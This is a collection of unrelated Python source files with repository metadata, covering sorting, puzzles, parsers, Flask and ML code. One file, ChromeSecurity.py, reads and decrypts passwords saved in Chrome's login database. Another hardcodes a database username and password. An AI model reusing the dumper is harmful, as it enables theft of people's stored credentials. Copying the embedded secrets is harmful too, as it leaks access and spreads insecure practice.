# outra irá escolher. Cada jogador escolhe 5 números de 0 a 10, inclusive. A
# pontuação final é calculada da seguinte forma:
# A nota de partida de cada pessoa é o maior número que a outra pessoa não
# escolheu;
# O r... | true |
0953d015383f3bd576d4f9f668d50502bc1012a2 | siwonheo/Data-Structure | /Sort/VariousSort.py | UTF-8 | 1,503 | 3.71875 | 4 | [] | no_license | def selection_sort(items):
for i in range(0, len(items)-1):
minimum = i
for j in range(i, len(items)):
if items[minimum] > items[j]:
minimum = j
items[i], items[minimum] = items[minimum], items[i]
def insertion_sort(items):
for i in range(1, len(items)):
... | true |
2ffde5f9f89c214e6d937b84c469783e129869b5 | Connor-Marble/Greatest-Senior-Project-Of-All-Time | /webscraper/readqueue.py | UTF-8 | 1,199 | 2.53125 | 3 | [] | no_license | import os
import pymysql
import scraper
import logging as log
import AnalysisModulePrototype as analmod
user = 'mbrad287'
passw = 'Fra6Uchu'
db = 'bookstore_mbrad287'
filenamebase='./reviews/{}.json'
def get_top_queue_items():
select_query='SELECT * FROM Queue ORDER BY priority LIMIT 1'
conn = pymysql.c... | true |
1b3940bff4e5568f4c3abf97b06c880769a30147 | lostinplace/egs-scenario-updater | /lib/child_removal_rule.py | UTF-8 | 491 | 2.9375 | 3 | [
"Apache-2.0"
] | permissive |
from itertools import filterfalse
from typing import Callable
from lib.simple_rule import SimpleRule
class ChildRemovalRule(SimpleRule):
def __init__(self, child_identifier: Callable[[object], bool]):
def evaluator(node: object):
return isinstance(node, list) and any(map(child_identifier, ... | true |
33edbf9f8fe6cf54a678c0dfa88793bc66f15473 | mehtapriyesh/Project-Euler-100 | /Problem_6.py | UTF-8 | 204 | 3.625 | 4 | [] | no_license |
#Problem 6: Sum square difference
num=10
sum_of_squares = 0
square_of_sum = 0
for n in range (1,num+1):
sum_of_squares+=n**2
square_of_sum+=n
ans=-sum_of_squares+(square_of_sum**2)
print (ans)
| true |
0d8f98ba2abbbd48cd6d797a66c03f966ce7e584 | mitsuo0114/competitive_programming | /python/atcoder/Beginner117/C.py | UTF-8 | 1,338 | 3.0625 | 3 | [] | no_license | def psolve(k, Xs, N):
arr = [[]]
i = Xs[0]
for x in Xs:
if x <= i + k:
arr[-1].append(x)
else:
arr.append([])
arr[-1].append(x)
i = x
if len(arr) > N:
break
if len(arr) <= N:
ans = sum([max(a) - min(a) f... | true |
ca5c98f8a4e2ad5336cfbef1e1acfa8eec631b0b | JorisMonnet/Compilator | /TP2/parser3.py | UTF-8 | 1,382 | 2.515625 | 3 | [] | no_license | import ply.yacc as yacc
from lex4 import tokens
vars ={}
def p_programme_expr(p):
'''programme : statement
| statement ';' programme'''
try:
p[0]=p[3]
except:
p[0]=p[1]
def p_statement(p):
'''statement : assignation
| expression '''
p[0]=p[1]
def p_assign(p):
... | true |
8193aa22524b0700b93e76b40b3146ba26304b3e | aritriestocode/junkyard-jakku | /apps/login_app/models.py | UTF-8 | 2,732 | 2.703125 | 3 | [] | no_license | from __future__ import unicode_literals
import re
from django.db import models
# Create your models here.
class UserManager(models.Manager):
def registerVal(self, postData):
results = {'status': True, 'errors': []}
user = []
if not postData['first_name'] or len(postData['first_name']) < 3:... | true |
56141d3ab22f61593c495e23d1dd83ef5e4216b3 | WaffleKing631/Curso_Python | /contador_de_vocales_consonantes_espacios_etc.py | UTF-8 | 1,297 | 3.40625 | 3 | [] | no_license | frase_usuario = input("introduce una frase: ")
vocales = ["a", "e", "i", "o", "u"]
espacios = [" "]
comas = [","]
puntos = ["."]
mayusculas = ["A", "B", "C", "D", "E", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "S", "F", "G", "H", "J",
"K", "L", "Z", "X", "V", "N", "M"]
consonantes = ["q", "w", "r... | true |
d2da5f713720161f98693f641c3f582fb18c37e0 | trustedanalytics/spark-tk | /integration-tests/tests/test_frame_missing_values.py | UTF-8 | 3,771 | 2.578125 | 3 | [
"Apache-2.0"
] | permissive | # vim: set encoding=utf-8
# Copyright (c) 2016 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... | true |
c95894c36d4eddceaa3fe15ec7ae8d036e971605 | rinsonpeter/Python | /OLD/km.py | UTF-8 | 174 | 3.265625 | 3 | [] | no_license | km=float(input("provide km: "))
miles=km/1.609344
print(km,"km=", miles, "miles")
km=float(input("provide km: "))
miles=km/1.609344
print(km,"km=", round(miles,2), "miles")
| true |
b58c1cfa70decdc09523fd7789e3b8d5c1f7359a | loumonthjack/flask-backend | /app.py | UTF-8 | 1,499 | 2.53125 | 3 | [] | no_license | from flask import Flask, render_template, jsonify, request, abort
from flaskext.mysql import MySQL
mysql = MySQL()
app = Flask(__name__)
app.config['MYSQL_DATABASE_USER'] = 'root'
app.config['MYSQL_DATABASE_PASSWORD'] = 'password'
app.config['MYSQL_DATABASE_DB'] = 'flask-backend'
app.config['MYSQL_DATABASE_HOST'] = 'l... | true |
d7aa03631502f25d578504a659fd168e9aed733c | linnarsson-lab/cytograph2 | /cytograph/manifold/principal_curve.py | UTF-8 | 5,148 | 3.078125 | 3 | [] | no_license | import logging
import numpy as np
class PrincipalCurve:
"""
Ozertem et al. principal curve algorithm
Untested
"""
def __init__(self, tolerance: float = 0.0001, d: int = 1, h: int = 3, maxiter: int = 600) -> None:
self.tolerance = tolerance
self.d = d
self.h = h
self.maxiter = maxiter
def fit(self, da... | true |
d54c9c99e3a85febb3662bdcd639c3c49085fcfe | spbgithub/projecteuler | /pe301.py | UTF-8 | 318 | 3.671875 | 4 | [] | no_license | '''Problem 301'''
'''
This work here let me see that the Fibonacci sequence was key
bmax = 10
b = 1
sum_s = [0]
while b < bmax:
n = 1
s = 0
while n <= 2**b:
if n^(2*n)^(3*n) == 0: s += 1
n += 1
b += 1
sum_s.append(s)
print(sum_s)'''
a, b, n = 2, 3, 2
while n < 30:
a, b, n = b, a + b, n + 1
print(b) | true |
08dc6bb49a3d4e64a78a4b5ece108bc9966c2eb3 | AdnanFarra1/School | /Class_Activities/Recursion/Recursive_Functions.py | UTF-8 | 327 | 4.03125 | 4 | [] | no_license | #Imports
def factorialFunction():
num = int(input("Please enter a number to find it's factorial\n"))
def factorial(x):
if x == 1:
return 1
else:
return(x*factorial(x-1))
print(factorial(num))
factorialFunction()
word = input("Please enter a word")
def letters... | true |
221d271f0890d4cf31cdb5d7c7bdfabe9c05e642 | shashwatrathod/CompetitiveCoding | /Arrays/DynamicArray.py | UTF-8 | 700 | 3.0625 | 3 | [] | no_license | #https://www.hackerrank.com/challenges/dynamic-array/problem?h_r=next-challenge&h_v=zen&h_r=next-challenge&h_v=zen
def dynamicArray(n, queries):
lastAnswer = 0
ans = []
seq = []
for _ in range(n):
temp = []
seq.append(temp)
for query in queries:
query_type = query[0]
... | true |
eca64d48178a7dcdcb238bcb9cad58c3bfde51f4 | DJCordhose/ml-prod | /train.py | UTF-8 | 2,160 | 2.75 | 3 | [
"Apache-2.0"
] | permissive | import pandas as pd
import pickle
import numpy, sklearn, pandas
model_name = 'pipeline_pca_std_rf'
model_version = 2
versions = {
'numpy': numpy.__version__,
'sklearn': sklearn.__version__,
'pandas': pandas.__version__,
'model_version': model_version,
'model_name': model_name
}
print(versions)
# ... | true |
f91cdde82a834d0cf79395446e2d02e3bf82eea0 | losvaldote/Simple_MC | /SimpleMC-master/py/HubbleParameterLikelihood.py | UTF-8 | 554 | 2.625 | 3 | [] | no_license | #
# Distance ladder hubble likelihoods.
#
from BaseLikelihood import *
from scipy import *
import scipy.linalg as la
class HubbleParameterLikelihood (BaseLikelihood):
def __init__(self,mean=0.70, sigma=0.02):
BaseLikelihood.__init__(self,"Hubble_%g_pm_%g"%(mean,sigma))
self.mean=mean
self... | true |
92c195e21c1b2e44b3ec931eb903b63dec7b5185 | drozdovvv/pas | /time serwer.py | UTF-8 | 906 | 2.796875 | 3 | [] | no_license | import socket
import time;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("localhost", 1769))
s.listen(5)
while True:
client, addr = s.accept()
print("Connected: " + addr[0])
while True:
data = client.recv(1024)
if not data:
break;
print ('I receive = ' +... | true |
97175cb62d78e9ce261dcce9657031a8907469bf | nirajdpandey/Django-app-for-manufacturing | /src/read_stl.py | UTF-8 | 1,047 | 2.75 | 3 | [] | no_license | import numpy
import pandas
from stl import mesh
from mpl_toolkits import mplot3d
from matplotlib import pyplot
from io import StringIO
class ReadStl:
def __init__(self, input_file):
self.input_file = input_file
def read(self):
"""
Read the stl files using numpy_stl
:return: me... | true |
6510cb67e54c8947e18ad5c9ae829a4baedfe4ff | coletta1/gym-copter | /gym_copter/dynamics/quadxap.py | UTF-8 | 853 | 2.953125 | 3 | [
"MIT"
] | permissive | '''
Dynamics class for quad-X frames using ArduPilot motor layout:
3cw 1ccw
^
2ccw 4cw
Copyright (C) 2019 Simon D. Levy
MIT License
'''
from gym_copter.dynamics import MultirotorDynamics
class QuadXAPDynamics(MultirotorDynamics):
def __init__(self, params, framesPerSecond, g):
... | true |
cad5dc9ef1fd264364bcb5112c8c7ce4b92d40ac | ramlohith/MyScripts | /A2OJ - Little Experience/8. Stones Game.py | UTF-8 | 256 | 3.140625 | 3 | [] | no_license |
print "Enter number of test cases:"
t = int(raw_input())
r = list()
for i in range(t):
s,n,p = raw_input().split()
s = int(s)
n = int(n)
p = int(p)
if ((s-p)%n == 0):
r.append("YES")
else:
r.append("NO")
for j in r:
print j | true |
87532cf3d824396d29b8232489d77c1f0621db60 | sachith500/MaskedFaceRepresentation | /convert_face_to_masked_face_directory.py | UTF-8 | 1,791 | 2.546875 | 3 | [
"MIT"
] | permissive | import argparse
import os
import cv2
import numpy as np
from tqdm import tqdm
from utils.masked_face_creator import MaskedFaceCreator
def create_masked_face(input_dir_path, output_dir_path, mask_type):
mask_face_creator = MaskedFaceCreator('./assets/shape_predictor_68_face_landmarks.dat')
if os.path.isdir(i... | true |
7fa35d45a0bf93d960f03d5860150b0df0ed13c2 | lclarko/flask-to-fastapi-ml | /functions.py | UTF-8 | 5,352 | 2.796875 | 3 | [
"MIT"
] | permissive | import pandas as pd
import numpy as np
import pickle
from sklearn.pipeline import Pipeline
from sklearn.compose import ColumnTransformer
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import StandardScaler
from sklearn.ensemble import RandomForestClassifier
CAT_FEATS = ['Gender',
'M... | true |
6357a5fdc7427ea50eeb1b0dabb797cf5f4157ae | sverress/master-thesis | /analysis/decision_support.py | UTF-8 | 1,627 | 2.765625 | 3 | [] | no_license | import os
import clustering.helpers
import clustering.methods
import clustering.scripts
from globals import TEST_DATA_DIRECTORY
import numpy as np
import pandas as pd
def battery_analysis():
"""
Find average used battery for trip
"""
previous_snapshot = None
averages = []
for index, file_pat... | true |
3838ef2abf024ad457c31a3d079013b61322d143 | abansal-chwy/Spam-Detection | /SD.py | UTF-8 | 2,163 | 3.484375 | 3 | [] | no_license | import pandas as pd
import numpy as np
import re
import matplotlib.pyplot as plt
import nltk
nltk.download('stopwords')
# Dataset from - https://archive.ics.uci.edu/ml/datasets/SMS+Spam+Collection
df=pd.read_csv("SMSSpamCollection",delimiter="\t",quoting=3,header=None)
# Output printing out first 5 rows
print(df.hea... | true |
cd7c8e87741be1a65720579b8aabbb51bf72f814 | Linkitz/exercises-coronapython | /chapter_2_2_9.py | UTF-8 | 229 | 4.53125 | 5 | [] | no_license | # 2-9. Favorite Number: Store your favorite number in a variable. Then, using that variable, create a message that reveals your favorite number. Print that message.
number = 21
print("My favorite number is " + str(number) + ".") | true |
4a0989e726ccdea9ec4b69028dd3f5b1c5e54312 | ccchao/2018Spring | /Software Engineering/hw1/good.py | UTF-8 | 858 | 4.71875 | 5 | [] | no_license | """
1. pick a list of 100 random integers in the range -500 to 500
2. find the largest and smallest values in the list
3. find the second-largest and second-smallest values in the list
4. calculate the median value of the elements in the list
"""
import random
#Generate a list containing 100 randomly generated intege... | true |
02ea5b21b000fad1185e2d5a73e2adc276706fa3 | scblack3/ML4820-Project-1 | /final.py | UTF-8 | 3,820 | 4.09375 | 4 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# =============================================================================
# Samuel Connor Black
# September 15, 2019
# ML4820 Project 1
# This program takes in an input file given by the user, the program will then
# prompt the user for a dorsal fin length and body l... | true |
100b463c295f6ae38595a45bce9b27f3aac37433 | fedeisas/advent_of_code_python | /1a/navigator.py | UTF-8 | 1,141 | 3.875 | 4 | [] | no_license | class Navigator:
def __init__(self):
self.position = (0, 0)
self.direction = 0
def get_position(self):
return "%d, %d => %s" % (self.position[0], self.position[1], self.position)
def get_distance(self):
return sum(map(abs, self.position))
def get_direction(self):
... | true |
fbdc521f800fc049012d7622e90839534aa15d4d | mlight9/DataModelingwithPostgreSQL | /etl.py | UTF-8 | 4,936 | 3.046875 | 3 | [] | no_license | import os
import glob
import psycopg2
import pandas as pd
from sql_queries import *
def process_song_file(cur, filepath):
""" Song_file JSON data located in a specific file path is loaded into a datframe. The data
frame is then used to insert the data into a PostgreSQL table. The queries to insert data
ar... | true |
09e3dd16ca50b6aaf94a234a01a552e44c1f92da | PythonForForex/ChromeSecuity | /ChromeSecurity.py | UTF-8 | 501 | 2.578125 | 3 | [] | no_license | import sqlite3
import os
import win32crypt
db_path = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data"
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
try:
password = ... | true |
82db8926e51773f210be80c5e3e810aafcac380a | ScottMGustafson/feets | /tests/test_random_feats.py | UTF-8 | 1,767 | 2.796875 | 3 | [] | no_license | import pandas as pd
from feets.random_feats import _flag_important, add_random_feats
from tests import make_data
def make_fake_importance_dct():
dct = {k: i for i, k in enumerate("abcdefghijklmnop")}
random_cols = []
for i in range(10):
col = f"random_{i}"
random_cols.append(col)
... | true |